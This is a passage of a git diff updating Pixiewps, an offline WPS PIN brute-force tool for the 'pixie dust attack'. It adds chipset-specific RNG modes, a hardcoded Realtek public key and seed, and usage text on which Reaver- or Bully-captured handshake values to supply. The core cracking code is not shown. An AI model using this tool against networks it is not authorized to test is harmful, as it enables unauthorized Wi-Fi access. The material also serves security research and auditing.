#define WPS_NONCE_LEN 16
|
|
||||||
#define WPS_SECRET_NONCE_LEN 16
|
|
||||||
#define WPS_PSK_LEN 16
|
|
||||||
#define WPS_BSSID_LEN 6
|
|
||||||
#define WPS_KDF_SALT_LEN 36
|
|
||||||
|
|
||||||
/* Exit costants */
|
/* Exit costants */
|
||||||
#define PIN_ERROR 2
|
#define PIN_FOUND 0
|
||||||
#define MEM_ERROR 3
|
#define PIN_ERROR 1
|
||||||
#define ARG_ERROR 4
|
#define MEM_ERROR 2
|
||||||
|
#define ARG_ERROR 3
|
||||||
|
|
||||||
#include <openssl/sha.h>
|
#include <stdio.h>
|
||||||
#include <openssl/hmac.h>
|
#include <stdlib.h>
|
||||||
|
#include <time.h>
|
||||||
|
|
||||||
typedef enum {false = 0, true = 1} bool;
|
#include "utils.h"
|
||||||
|
|
||||||
|
#if defined(DEBUG)
|
||||||
|
# define DEBUG_PRINT(fmt, args...); fprintf(stderr, "\n [DEBUG] %s:%d:%s(): " fmt, \
|
||||||
|
__FILE__, __LINE__, __func__, ##args); fflush(stdout);
|
||||||
|
# define DEBUG_PRINT_ARRAY(b, l); byte_array_print(b, l); fflush(stdout);
|
||||||
|
#else
|
||||||
|
# define DEBUG_PRINT(fmt, args...)
|
||||||
|
# define DEBUG_PRINT_ARRAY(b, l)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
uint_fast8_t p_mode[MODE_LEN] = { 0 };
|
||||||
|
const char *p_mode_name[MODE_LEN + 1] = { "", "RT", "eCos simple", "RTL819x", "eCos simplest", "eCos Knuth" };
|
||||||
|
|
||||||
|
const uint8_t wps_rtl_pke[] = {
|
||||||
|
0xD0,0x14,0x1B,0x15, 0x65,0x6E,0x96,0xB8, 0x5F,0xCE,0xAD,0x2E, 0x8E,0x76,0x33,0x0D,
|
||||||
|
0x2B,0x1A,0xC1,0x57, 0x6B,0xB0,0x26,0xE7, 0xA3,0x28,0xC0,0xE1, 0xBA,0xF8,0xCF,0x91,
|
||||||
|
0x66,0x43,0x71,0x17, 0x4C,0x08,0xEE,0x12, 0xEC,0x92,0xB0,0x51, 0x9C,0x54,0x87,0x9F,
|
||||||
|
0x21,0x25,0x5B,0xE5, 0xA8,0x77,0x0E,0x1F, 0xA1,0x88,0x04,0x70, 0xEF,0x42,0x3C,0x90,
|
||||||
|
0xE3,0x4D,0x78,0x47, 0xA6,0xFC,0xB4,0x92, 0x45,0x63,0xD1,0xAF, 0x1D,0xB0,0xC4,0x81,
|
||||||
|
0xEA,0xD9,0x85,0x2C, 0x51,0x9B,0xF1,0xDD, 0x42,0x9C,0x16,0x39, 0x51,0xCF,0x69,0x18,
|
||||||
|
0x1B,0x13,0x2A,0xEA, 0x2A,0x36,0x84,0xCA, 0xF3,0x5B,0xC5,0x4A, 0xCA,0x1B,0x20,0xC8,
|
||||||
|
0x8B,0xB3,0xB7,0x33, 0x9F,0xF7,0xD5,0x6E, 0x09,0x13,0x9D,0x77, 0xF0,0xAC,0x58,0x07,
|
||||||
|
0x90,0x97,0x93,0x82, 0x51,0xDB,0xBE,0x75, 0xE8,0x67,0x15,0xCC, 0x6B,0x7C,0x0C,0xA9,
|
||||||
|
0x45,0xFa,0x8D,0xD8, 0xD6,0x61,0xBE,0xB7, 0x3B,0x41,0x40,0x32, 0x79,0x8D,0xAD,0xEE,
|
||||||
|
0x32,0xB5,0xDD,0x61, 0xBF,0x10,0x5F,0x18, 0xD8,0x92,0x17,0x76, 0x0B,0x75,0xC5,0xD9,
|
||||||
|
0x66,0xA5,0xA4,0x90, 0x47,0x2C,0xEB,0xA9, 0xE3,0xB4,0x22,0x4F, 0x3D,0x89,0xFB,0x2B
|
||||||
|
};
|
||||||
|
|
||||||
|
const uint8_t rtl_rnd_seed[] = {
|
||||||
|
0x52,0x65,0x61,0x6c, 0x74,0x65,0x6b,0x20, 0x57,0x69,0x46,0x69, 0x20,0x53,0x69,0x6d,
|
||||||
|
0x70,0x6c,0x65,0x2d, 0x43,0x6f,0x6e,0x66, 0x69,0x67,0x20,0x44, 0x61,0x65,0x6d,0x6f,
|
||||||
|
0x6e,0x20,0x70,0x72, 0x6f,0x67,0x72,0x61, 0x6d,0x20,0x32,0x30, 0x30,0x36,0x2d,0x30,
|
||||||
|
0x35,0x2d,0x31,0x35
|
||||||
|
};
|
||||||
|
|
||||||
struct global {
|
struct global {
|
||||||
unsigned char *pke;
|
uint8_t *pke;
|
||||||
unsigned char *pkr;
|
uint8_t *pkr;
|
||||||
unsigned char *e_hash1;
|
uint8_t *e_hash1;
|
||||||
unsigned char *e_hash2;
|
uint8_t *e_hash2;
|
||||||
unsigned char *authkey;
|
uint8_t *authkey;
|
||||||
unsigned char *e_nonce;
|
uint8_t *e_nonce;
|
||||||
unsigned char *r_nonce;
|
uint8_t *r_nonce;
|
||||||
unsigned char *psk1;
|
uint8_t *psk1;
|
||||||
unsigned char *psk2;
|
uint8_t *psk2;
|
||||||
unsigned char *dhkey;
|
uint8_t *dhkey;
|
||||||
unsigned char *kdk;
|
uint8_t *kdk;
|
||||||
unsigned char *wrapkey;
|
uint8_t *wrapkey;
|
||||||
unsigned char *emsk;
|
uint8_t *emsk;
|
||||||
unsigned char *e_s1;
|
uint8_t *e_s1;
|
||||||
unsigned char *e_s2;
|
uint8_t *e_s2;
|
||||||
unsigned char *e_bssid;
|
uint8_t *e_bssid;
|
||||||
bool small_dh_keys;
|
time_t start;
|
||||||
bool bruteforce;
|
time_t end;
|
||||||
|
uint8_t small_dh_keys;
|
||||||
|
uint8_t mode_auto;
|
||||||
|
uint8_t bruteforce;
|
||||||
int verbosity;
|
int verbosity;
|
||||||
char *error;
|
char *error;
|
||||||
|
char *warning;
|
||||||
};
|
};
|
||||||
|
|
||||||
char usage[] =
|
char usage[] =
|
||||||
@ -100,86 +117,127 @@ char usage[] =
|
|||||||
"\n"
|
"\n"
|
||||||
" Required Arguments:\n"
|
" Required Arguments:\n"
|
||||||
"\n"
|
"\n"
|
||||||
" -e, --pke : Enrollee public key\n"
|
" -e, --pke : Enrollee public key\n"
|
||||||
" -r, --pkr : Registrar public key\n"
|
" -r, --pkr : Registrar public key\n"
|
||||||
" -s, --e-hash1 : Enrollee Hash1\n"
|
" -s, --e-hash1 : Enrollee hash-1\n"
|
||||||
" -z, --e-hash2 : Enrollee Hash2\n"
|
" -z, --e-hash2 : Enrollee hash-2\n"
|
||||||
" -a, --authkey : Authentication session key\n"
|
" -a, --authkey : Authentication session key\n"
|
||||||
|
" -n, --e-nonce : Enrollee nonce\n"
|
||||||
"\n"
|
"\n"
|
||||||
" Optional Arguments:\n"
|
" Optional Arguments:\n"
|
||||||
"\n"
|
"\n"
|
||||||
" -n, --e-nonce : Enrollee nonce\n"
|
" -m, --r-nonce : Registrar nonce\n"
|
||||||
" -m, --r-nonce : Registrar nonce\n"
|
" -b, --e-bssid : Enrollee BSSID\n"
|
||||||
" -b, --e-bssid : Enrollee BSSID\n"
|
" -S, --dh-small : Small Diffie-Hellman keys (PKr not needed) [No]\n"
|
||||||
" -S, --dh-small : Small Diffie-Hellman keys (PKr not needed) [No]\n"
|
" -v, --verbosity : Verbosity level 1-3, 1 is quietest [3]\n"
|
||||||
" -f, --force : Bruteforce the whole keyspace [No]\n"
|
|
||||||
" -v, --verbosity : Verbosity level 1-3, 1 is quietest [3]\n"
|
|
||||||
"\n"
|
"\n"
|
||||||
" -h, --help : Display this usage screen\n"
|
" -h : Display this usage screen\n"
|
||||||
|
" --help : Verbose help and more usage examples\n"
|
||||||
|
" -V, --version : Displays version\n"
|
||||||
"\n"
|
"\n"
|
||||||
" Examples:\n"
|
" --mode N[,... N] : Mode selection, comma separated [Auto]\n"
|
||||||
|
" --start [mm/]yyyy : Starting date (only mode 3) [Current time]\n"
|
||||||
|
" --end [mm/]yyyy : Ending date (only mode 3) [-3 days]\n"
|
||||||
|
"\n"
|
||||||
|
" Example:\n"
|
||||||
"\n"
|
"\n"
|
||||||
" pixiewps -e <pke> -r <pkr> -s <e-hash1> -z <e-hash2> -a <authkey> -n <e-nonce>\n"
|
" pixiewps -e <pke> -r <pkr> -s <e-hash1> -z <e-hash2> -a <authkey> -n <e-nonce>\n"
|
||||||
" pixiewps -e <pke> -s <e-hash1> -z <e-hash2> -a <authkey> -n <e-nonce> -S\n"
|
|
||||||
" pixiewps -e <pke> -s <e-hash1> -z <e-hash2> -n <e-nonce> -m <r-nonce> -b <e-bssid> -S\n"
|
|
||||||
"%s";
|
"%s";
|
||||||
|
|
||||||
/* SHA-256 */
|
char v_usage[] =
|
||||||
void sha256(const unsigned char *data, const size_t data_len, unsigned char *digest) {
|
"\n"
|
||||||
SHA256_CTX ctx;
|
" Pixiewps %s WPS pixie dust attack tool\n"
|
||||||
SHA256_Init(&ctx);
|
" Copyright (c) 2015, wiire <wi7ire@gmail.com>\n"
|
||||||
SHA256_Update(&ctx, data, data_len);
|
"\n"
|
||||||
SHA256_Final(digest, &ctx);
|
" Description of arguments:\n"
|
||||||
}
|
"\n"
|
||||||
|
" -e, --pke\n"
|
||||||
|
"\n"
|
||||||
|
" Enrollee DH public key, found in M1.\n"
|
||||||
|
"\n"
|
||||||
|
" -r, --pkr\n"
|
||||||
|
"\n"
|
||||||
|
" Registrar DH public key, found in M2. It can be avoided by specifying "
|
||||||
|
"--dh-small in both Reaver and Pixiewps.\n"
|
||||||
|
"\n"
|
||||||
|
" [?] pixiewps -e <pke> -s <e-hash1> -z <e-hash2> -a <authkey> -n <e-nonce> -S\n"
|
||||||
|
"\n"
|
||||||
|
" -s, --e-hash1\n"
|
||||||
|
"\n"
|
||||||
|
" Enrollee hash-1, found in M3.\n"
|
||||||
|
"\n"
|
||||||
|
" -z, --e-hash2\n"
|
||||||
|
"\n"
|
||||||
|
" Enrollee hash-2, found in M3.\n"
|
||||||
|
"\n"
|
||||||
|
" -a, --authkey\n"
|
||||||
|
"\n"
|
||||||
|
" Authentication session key. Although for this parameter a modified version of "
|
||||||
|
"Reaver or Bully is needed, it can be avoided by specifying small Diffie-Hellman "
|
||||||
|
"keys in both Reaver and Pixiewps and supplying --e-nonce, --r-nonce and --e-bssid.\n"
|
||||||
|
"\n"
|
||||||
|
" [?] pixiewps -e <pke> -s <e-hash1> -z <e-hash2> -S -n <e-nonce> -m <r-nonce> -b <e-bssid>\n"
|
||||||
|
"\n"
|
||||||
|
" -n, --e-nonce\n"
|
||||||
|
"\n"
|
||||||
|
" Enrollee's nonce, found in M1.\n"
|
||||||
|
"\n"
|
||||||
|
" -m, --r-nonce\n"
|
||||||
|
"\n"
|
||||||
|
" Registrar's nonce, found in M2.\n"
|
||||||
|
"\n"
|
||||||
|
" -b, --e-bssid\n"
|
||||||
|
"\n"
|
||||||
|
" Enrollee's BSSID.\n"
|
||||||
|
"\n"
|
||||||
|
" -S, --dh-small\n"
|
||||||
|
"\n"
|
||||||
|
" Small Diffie-Hellman keys. The same option MUST be specified in Reaver "
|
||||||
|
"(1.3 or later versions) too. It DOES NOT WORK with mode 3.\n"
|
||||||
|
"\n"
|
||||||
|
" --mode N[,... N]\n"
|
||||||
|
"\n"
|
||||||
|
" Select modes, comma separated (experimental modes are not used if not specified):\n"
|
||||||
|
"\n"
|
||||||
|
" 1 (%s)\n"
|
||||||
|
" 2 (%s)\n"
|
||||||
|
" 3 (%s)\n"
|
||||||
|
" 4 (%s) [Experimental]\n"
|
||||||
|
" 5 (%s) [Experimental]\n"
|
||||||
|
"\n"
|
||||||
|
" --start [mm/]yyyy\n"
|
||||||
|
" --end [mm/]yyyy\n"
|
||||||
|
"\n"
|
||||||
|
" Starting and ending dates for mode 3. They are interchangeable. "
|
||||||
|
"If only one is specified, the machine current time will be used for the other.\n"
|
||||||
|
"\n";
|
||||||
|
|
||||||
/* HMAC-SHA-256 */
|
/* One digit comma separated number parsing */
|
||||||
void hmac_sha256(const void *key, int key_len, const unsigned char *data, const size_t data_len, unsigned char *digest) {
|
inline uint_fast8_t parse_mode(char *list, uint_fast8_t *dst, const uint_fast8_t max_digit) {
|
||||||
unsigned int h_len = WPS_HASH_LEN;
|
uint_fast8_t cnt = 0;
|
||||||
HMAC_CTX ctx;
|
while (*list != 0) {
|
||||||
HMAC_CTX_init(&ctx);
|
if (*list <= (max_digit + '0')) {
|
||||||
HMAC_Init_ex(&ctx, key, key_len, EVP_sha256(), 0);
|
dst[cnt] = *list - '0';
|
||||||
HMAC_Update(&ctx, data, data_len);
|
cnt++;
|
||||||
HMAC_Final(&ctx, digest, &h_len);
|
list++;
|
||||||
HMAC_CTX_cleanup(&ctx);
|
}
|
||||||
}
|
if (*list != 0) {
|
||||||
|
if (*list == ',')
|
||||||
/* Key Derivation Function */
|
list++;
|
||||||
void kdf(const void *key, const size_t key_len, unsigned char *res) {
|
else
|
||||||
uint32_t kdk_len = key_len * 8;
|
return 1;
|
||||||
uint_fast8_t j = 0;
|
}
|
||||||
|
|
||||||
/* Wi-Fi Easy and Secure Key Derivation */
|
|
||||||
char *salt = "\x57\x69\x2d\x46\x69\x20\x45\x61\x73\x79\x20\x61\x6e\x64\x20\x53\x65\x63\x75\x72\x65\x20\x4b\x65\x79\x20\x44\x65\x72\x69\x76\x61\x74\x69\x6f\x6e";
|
|
||||||
|
|
||||||
unsigned char *buffer = malloc(WPS_KDF_SALT_LEN + 4 * 2);
|
|
||||||
|
|
||||||
for (uint32_t i = 1; i < 4; i++) {
|
|
||||||
uint32_t be = h32_to_be(i);
|
|
||||||
memcpy(buffer, &be, 4);
|
|
||||||
memcpy(buffer + 4, salt, WPS_KDF_SALT_LEN);
|
|
||||||
be = h32_to_be(kdk_len);
|
|
||||||
memcpy(buffer + 4 + 36, &be, 4);
|
|
||||||
hmac_sha256(key, WPS_HASH_LEN, buffer, WPS_KDF_SALT_LEN + 4 * 2, res + j);
|
|
||||||
j += WPS_HASH_LEN;
|
|
||||||
}
|
}
|
||||||
free(buffer);
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Pin checksum computing */
|
/* Checks if passed mode is selected */
|
||||||
inline unsigned int wps_pin_checksum(unsigned int pin) {
|
inline uint_fast8_t is_mode_selected(const uint_fast8_t mode) {
|
||||||
unsigned int acc = 0;
|
for (uint_fast8_t i = 0; p_mode[i] != NONE && i < MODE_LEN; i++) {
|
||||||
while (pin) {
|
if (p_mode[i] == mode)
|
||||||
acc += 3 * (pin % 10);
|
return 1;
|
||||||
pin /= 10;
|
|
||||||
acc += pin % 10;
|
|
||||||
pin /= 10;
|
|
||||||
}
|
}
|
||||||
return (10 - acc % 10) % 10;
|
return 0;
|
||||||
}
|
|
||||||
|
|
||||||
/* Validity PIN control based on checksum */
|
|
||||||
inline unsigned int wps_pin_valid(unsigned int pin) {
|
|
||||||
return wps_pin_checksum(pin / 10) == (pin % 10);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
#endif /* PIXIEWPS_H */
|
#endif /* PIXIEWPS_H */
|
||||||
|
@ -30,11 +30,8 @@
|
|||||||
|
|
||||||
#if defined(__unix__) || (defined(__APPLE__) && defined(__MACH__))
|
#if defined(__unix__) || (defined(__APPLE__) && defined(__MACH__))
|
||||||
# include <sys/param.h>
|
# include <sys/param.h>
|
||||||
# if defined(__APPLE__) && defined(__MACH__)
|
# if defined(BSD) || defined(__APPLE__) && defined(__MACH__)
|
||||||
# include "../include/features.h"
|
/* Nothing to include */
|
||||||
# elif(BSD)
|
|
||||||
/* BSD (DragonFly BSD, FreeBSD, OpenBSD, NetBSD)
|
|
||||||
Nothing to include */
|
|
||||||
# else
|
# else
|
||||||
# include <features.h>
|
# include <features.h>
|
||||||
# endif
|
# endif
|
||||||
|
@ -2,13 +2,8 @@
|
|||||||
* Pixiewps: bruteforce the wps pin exploiting the low or non-existing entropy of some APs (pixie dust attack).
|
* Pixiewps: bruteforce the wps pin exploiting the low or non-existing entropy of some APs (pixie dust attack).
|
||||||
* All credits for the research go to Dominique Bongard.
|
* All credits for the research go to Dominique Bongard.
|
||||||
*
|
*
|
||||||
* Special thanks to: datahead, soxrok2212
|
|
||||||
*
|
|
||||||
* Copyright (c) 2015, wiire <wi7ire@gmail.com>
|
* Copyright (c) 2015, wiire <wi7ire@gmail.com>
|
||||||
* Version: 1.1
|
* SPDX-License-Identifier: GPL-3.0
|
||||||
*
|
|
||||||
* DISCLAIMER: This tool was made for educational purposes only.
|
|
||||||
* The author is NOT responsible for any misuse or abuse.
|
|
||||||
*
|
*
|
||||||
* This program is free software: you can redistribute it and/or modify
|
* This program is free software: you can redistribute it and/or modify
|
||||||
* it under the terms of the GNU General Public License as published by
|
* it under the terms of the GNU General Public License as published by
|
||||||
@ -22,21 +17,7 @@
|
|||||||
*
|
*
|
||||||
* You should have received a copy of the GNU General Public License
|
* You should have received a copy of the GNU General Public License
|
||||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
*
|
|
||||||
* In addition, as a special exception, the copyright holders give
|
|
||||||
* permission to link the code of portions of this program with the
|
|
||||||
* OpenSSL library under certain conditions as described in each
|
|
||||||
* individual source file, and distribute linked combinations
|
|
||||||
* including the two.
|
|
||||||
* You must obey the GNU General Public License in all respects
|
|
||||||
* for all of the code used other than OpenSSL. If you modify
|
|
||||||
* file(s) with this exception, you may extend this exception to your
|
|
||||||
* version of the file(s), but you are not obligated to do so. If you
|
|
||||||
* do not wish to do so, delete this exception statement from your
|
|
||||||
* version. If you delete this exception statement from all source
|
|
||||||
* files in the program, then also delete it here.
|
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#ifndef RANDOM_R_H
|
#ifndef RANDOM_R_H
|
||||||
#define RANDOM_R_H
|
#define RANDOM_R_H
|
||||||
|
|
||||||
|
88
src/utils.h
88
src/utils.h
@ -2,13 +2,8 @@
|
|||||||
* Pixiewps: bruteforce the wps pin exploiting the low or non-existing entropy of some APs (pixie dust attack).
|
* Pixiewps: bruteforce the wps pin exploiting the low or non-existing entropy of some APs (pixie dust attack).
|
||||||
* All credits for the research go to Dominique Bongard.
|
* All credits for the research go to Dominique Bongard.
|
||||||
*
|
*
|
||||||
* Special thanks to: datahead, soxrok2212
|
|
||||||
*
|
|
||||||
* Copyright (c) 2015, wiire <wi7ire@gmail.com>
|
* Copyright (c) 2015, wiire <wi7ire@gmail.com>
|
||||||
* Version: 1.1
|
* SPDX-License-Identifier: GPL-3.0
|
||||||
*
|
|
||||||
* DISCLAIMER: This tool was made for educational purposes only.
|
|
||||||
* The author is NOT responsible for any misuse or abuse.
|
|
||||||
*
|
*
|
||||||
* This program is free software: you can redistribute it and/or modify
|
* This program is free software: you can redistribute it and/or modify
|
||||||
* it under the terms of the GNU General Public License as published by
|
* it under the terms of the GNU General Public License as published by
|
||||||
@ -22,26 +17,17 @@
|
|||||||
*
|
*
|
||||||
* You should have received a copy of the GNU General Public License
|
* You should have received a copy of the GNU General Public License
|
||||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
*
|
|
||||||
* In addition, as a special exception, the copyright holders give
|
|
||||||
* permission to link the code of portions of this program with the
|
|
||||||
* OpenSSL library under certain conditions as described in each
|
|
||||||
* individual source file, and distribute linked combinations
|
|
||||||
* including the two.
|
|
||||||
* You must obey the GNU General Public License in all respects
|
|
||||||
* for all of the code used other than OpenSSL. If you modify
|
|
||||||
* file(s) with this exception, you may extend this exception to your
|
|
||||||
* version of the file(s), but you are not obligated to do so. If you
|
|
||||||
* do not wish to do so, delete this exception statement from your
|
|
||||||
* version. If you delete this exception statement from all source
|
|
||||||
* files in the program, then also delete it here.
|
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#ifndef UTILS_H
|
#ifndef UTILS_H
|
||||||
#define UTILS_H
|
#define UTILS_H
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <time.h>
|
||||||
|
|
||||||
/* Converts an hex string to a byte array */
|
/* Converts an hex string to a byte array */
|
||||||
unsigned int hex_string_to_byte_array(char *in, unsigned char *out, const unsigned int n_len) {
|
unsigned int hex_string_to_byte_array(char *in, uint8_t *out, const unsigned int n_len) {
|
||||||
uint_fast8_t o;
|
uint_fast8_t o;
|
||||||
unsigned int len = strlen(in);
|
unsigned int len = strlen(in);
|
||||||
unsigned int b_len = n_len * 2 + n_len - 1;
|
unsigned int b_len = n_len * 2 + n_len - 1;
|
||||||
@ -88,8 +74,59 @@ int get_int(char *in, int *out) {
|
|||||||
return 0;
|
return 0;
|
||||||
};
|
};
|
||||||
|
|
||||||
|
/* Converts a [mm/]yyyy string to Unix date time */
|
||||||
|
unsigned int get_unix_datetime(char *s, time_t *datetime) {
|
||||||
|
unsigned int len = strlen(s);
|
||||||
|
int month = 0, year;
|
||||||
|
struct tm tm;
|
||||||
|
|
||||||
|
if (len == 4) {
|
||||||
|
if (get_int(s, &year))
|
||||||
|
return 1;
|
||||||
|
} else if (len == 7) {
|
||||||
|
if (s[2] != '/' && s[2] != '-' && s[2] != '.')
|
||||||
|
return 1;
|
||||||
|
|
||||||
|
char s_month[3];
|
||||||
|
char s_year[5];
|
||||||
|
if (s[0] == '0') {
|
||||||
|
s_month[0] = s[1];
|
||||||
|
s_month[1] = 0;
|
||||||
|
} else {
|
||||||
|
s_month[0] = s[0];
|
||||||
|
s_month[1] = s[1];
|
||||||
|
s_month[2] = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
s_year[0] = s[3];
|
||||||
|
s_year[1] = s[4];
|
||||||
|
s_year[2] = s[5];
|
||||||
|
s_year[3] = s[6];
|
||||||
|
s_year[4] = 0;
|
||||||
|
|
||||||
|
if (get_int(s_month, &month) || get_int(s_year, &year))
|
||||||
|
return 1;
|
||||||
|
} else {
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
tm.tm_sec = 0;
|
||||||
|
tm.tm_min = 0;
|
||||||
|
tm.tm_hour = 0;
|
||||||
|
tm.tm_mday = 1;
|
||||||
|
tm.tm_mon = month - 1;
|
||||||
|
tm.tm_year = year - 1900;
|
||||||
|
tm.tm_isdst = -1;
|
||||||
|
*datetime = mktime(&tm);
|
||||||
|
|
||||||
|
if (*datetime < 0)
|
||||||
|
return 1;
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
/* Converts an unsigned integer to a char array without termination */
|
/* Converts an unsigned integer to a char array without termination */
|
||||||
void uint_to_char_array(unsigned int num, unsigned int len, unsigned char *dst) {
|
inline void uint_to_char_array(unsigned int num, unsigned int len, uint8_t *dst) {
|
||||||
unsigned int mul = 1;
|
unsigned int mul = 1;
|
||||||
while (len--) {
|
while (len--) {
|
||||||
dst[len] = (num % (mul * 10) / mul) + '0';
|
dst[len] = (num % (mul * 10) / mul) + '0';
|
||||||
@ -98,16 +135,17 @@ void uint_to_char_array(unsigned int num, unsigned int len, unsigned char *dst)
|
|||||||
}
|
}
|
||||||
|
|
||||||
/* Prints a byte array in hexadecimal */
|
/* Prints a byte array in hexadecimal */
|
||||||
void byte_array_print(const unsigned char *buffer, const unsigned int length) {
|
void byte_array_print(const uint8_t *buffer, const unsigned int length) {
|
||||||
unsigned int i;
|
unsigned int i;
|
||||||
for (i = 0; i < length; i++) {
|
for (i = 0; i < length; i++) {
|
||||||
printf("%02x", buffer[i]);
|
printf("%02x", buffer[i]);
|
||||||
if (i != length - 1) printf(":");
|
if (i != length - 1)
|
||||||
|
printf(":");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Converts a 32 Little Endian bit number to its Big Endian representation */
|
/* Converts a 32 Little Endian bit number to its Big Endian representation */
|
||||||
uint32_t h32_to_be(uint32_t num) {
|
uint32_t h32_to_be(const uint32_t num) {
|
||||||
uint32_t tmp = num;
|
uint32_t tmp = num;
|
||||||
uint32_t res;
|
uint32_t res;
|
||||||
uint32_t b0, b1, b2, b3;
|
uint32_t b0, b1, b2, b3;
|
||||||
|
27
src/version.h
Normal file
27
src/version.h
Normal file
@ -0,0 +1,27 @@
|
|||||||
|
/*
|
||||||
|
* Pixiewps: bruteforce the wps pin exploiting the low or non-existing entropy of some APs (pixie dust attack).
|
||||||
|
* All credits for the research go to Dominique Bongard.
|
||||||
|
*
|
||||||
|
* Copyright (c) 2015, wiire <wi7ire@gmail.com>
|
||||||
|
* SPDX-License-Identifier: GPL-3.0
|
||||||
|
*
|
||||||
|
* This program is free software: you can redistribute it and/or modify
|
||||||
|
* it under the terms of the GNU General Public License as published by
|
||||||
|
* the Free Software Foundation, either version 3 of the License, or
|
||||||
|
* (at your option) any later version.
|
||||||
|
*
|
||||||
|
* This program is distributed in the hope that it will be useful,
|
||||||
|
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
* GNU General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License
|
||||||
|
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
*/
|
||||||
|
#ifndef VERSION_H
|
||||||
|
#define VERSION_H
|
||||||
|
|
||||||
|
#define SHORT_VERSION "1.2"
|
||||||
|
#define LONG_VERSION "1.2.0"
|
||||||
|
|
||||||
|
#endif /* VERSION_H */
|
113
src/wps.h
Normal file
113
src/wps.h
Normal file
@ -0,0 +1,113 @@
|
|||||||
|
/*
|
||||||
|
* Pixiewps: bruteforce the wps pin exploiting the low or non-existing entropy of some APs (pixie dust attack).
|
||||||
|
* All credits for the research go to Dominique Bongard.
|
||||||
|
*
|
||||||
|
* Copyright (c) 2015, wiire <wi7ire@gmail.com>
|
||||||
|
* SPDX-License-Identifier: GPL-3.0
|
||||||
|
*
|
||||||
|
* This program is free software: you can redistribute it and/or modify
|
||||||
|
* it under the terms of the GNU General Public License as published by
|
||||||
|
* the Free Software Foundation, either version 3 of the License, or
|
||||||
|
* (at your option) any later version.
|
||||||
|
*
|
||||||
|
* This program is distributed in the hope that it will be useful,
|
||||||
|
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
* GNU General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License
|
||||||
|
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
*/
|
||||||
|
#ifndef WPS_H
|
||||||
|
#define WPS_H
|
||||||
|
|
||||||
|
/* WPS constants */
|
||||||
|
#define WPS_PKEY_LEN 192
|
||||||
|
#define WPS_HASH_LEN 32
|
||||||
|
#define WPS_AUTHKEY_LEN 32
|
||||||
|
#define WPS_EMSK_LEN 32
|
||||||
|
#define WPS_KEYWRAPKEY_LEN 16
|
||||||
|
#define WPS_NONCE_LEN 16
|
||||||
|
#define WPS_SECRET_NONCE_LEN 16
|
||||||
|
#define WPS_PSK_LEN 16
|
||||||
|
#define WPS_BSSID_LEN 6
|
||||||
|
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
#include "pixiewps.h"
|
||||||
|
#include "config.h"
|
||||||
|
#include "utils.h"
|
||||||
|
|
||||||
|
/* Diffie-Hellman group */
|
||||||
|
static const uint8_t dh_group5_generator[1] = { 0x02 };
|
||||||
|
static const uint8_t dh_group5_prime[192] = {
|
||||||
|
0xFF,0xFF,0xFF,0xFF, 0xFF,0xFF,0xFF,0xFF, 0xC9,0x0F,0xDA,0xA2, 0x21,0x68,0xC2,0x34,
|
||||||
|
0xC4,0xC6,0x62,0x8B, 0x80,0xDC,0x1C,0xD1, 0x29,0x02,0x4E,0x08, 0x8A,0x67,0xCC,0x74,
|
||||||
|
0x02,0x0B,0xBE,0xA6, 0x3B,0x13,0x9B,0x22, 0x51,0x4A,0x08,0x79, 0x8E,0x34,0x04,0xDD,
|
||||||
|
0xEF,0x95,0x19,0xB3, 0xCD,0x3A,0x43,0x1B, 0x30,0x2B,0x0A,0x6D, 0xF2,0x5F,0x14,0x37,
|
||||||
|
0x4F,0xE1,0x35,0x6D, 0x6D,0x51,0xC2,0x45, 0xE4,0x85,0xB5,0x76, 0x62,0x5E,0x7E,0xC6,
|
||||||
|
0xF4,0x4C,0x42,0xE9, 0xA6,0x37,0xED,0x6B, 0x0B,0xFF,0x5C,0xB6, 0xF4,0x06,0xB7,0xED,
|
||||||
|
0xEE,0x38,0x6B,0xFB, 0x5A,0x89,0x9F,0xA5, 0xAE,0x9F,0x24,0x11, 0x7C,0x4B,0x1F,0xE6,
|
||||||
|
0x49,0x28,0x66,0x51, 0xEC,0xE4,0x5B,0x3D, 0xC2,0x00,0x7C,0xB8, 0xA1,0x63,0xBF,0x05,
|
||||||
|
0x98,0xDA,0x48,0x36, 0x1C,0x55,0xD3,0x9A, 0x69,0x16,0x3F,0xA8, 0xFD,0x24,0xCF,0x5F,
|
||||||
|
0x83,0x65,0x5D,0x23, 0xDC,0xA3,0xAD,0x96, 0x1C,0x62,0xF3,0x56, 0x20,0x85,0x52,0xBB,
|
||||||
|
0x9E,0xD5,0x29,0x07, 0x70,0x96,0x96,0x6D, 0x67,0x0C,0x35,0x4E, 0x4A,0xBC,0x98,0x04,
|
||||||
|
0xF1,0x74,0x6C,0x08, 0xCA,0x23,0x73,0x27, 0xFF,0xFF,0xFF,0xFF, 0xFF,0xFF,0xFF,0xFF
|
||||||
|
};
|
||||||
|
|
||||||
|
/* Wi-Fi Easy and Secure Key Derivation */
|
||||||
|
static const uint8_t kdf_salt[] = {
|
||||||
|
